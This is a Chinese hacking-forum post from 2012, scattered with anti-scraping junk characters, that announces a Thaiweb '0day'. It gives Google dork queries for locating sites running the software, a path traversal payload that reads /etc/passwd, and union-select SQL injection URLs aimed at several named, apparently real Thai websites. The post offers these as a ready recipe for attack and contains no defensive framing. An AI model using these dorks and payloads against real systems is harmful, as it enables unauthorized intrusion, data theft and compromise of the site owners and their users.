找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2359|回复: 0
打印 上一主题 下一主题

Thaiweb远程文件sql注入漏洞0day

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-27 08:38:39 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Google之:
0 L9 ]' ^6 k4 |9 e, |8 A9 ]! n( L% m) B* T
intext:powered by Thaiweb& I# }2 v9 c6 s8 o

2 T/ m2 v/ [% D& @0 }0 S. cinurl:index.php?page=board.php5 s( I- K7 m( c1 g2 C( L
# U4 f" P$ K, N1 P  V" i( I
1 h& e( c. D+ R) o

4 C$ ]5 ]% c* J0 v& _( f利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd& c0 S0 N8 o- h; e
" _1 o4 _- h& A1 c7 k
& R  n$ ^: v1 \$ [! |# Z2 S

, A# F3 s' }8 D0 H) {2 v' L利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4') G1 s+ a& c; G* _* [

  d" b' b1 S! |" J% q, ~1 O$ B * b/ V# `9 Y. G9 F

8 W* n8 \( d( `http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--, u( j& L& I+ N
- \& k( \. Q5 g
http://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--; m0 N: F2 ?- \. [
$ ~, D! y* i6 P5 p8 i2 a/ H* d! N1 }
http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--: u4 X: L) ~- s. @
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表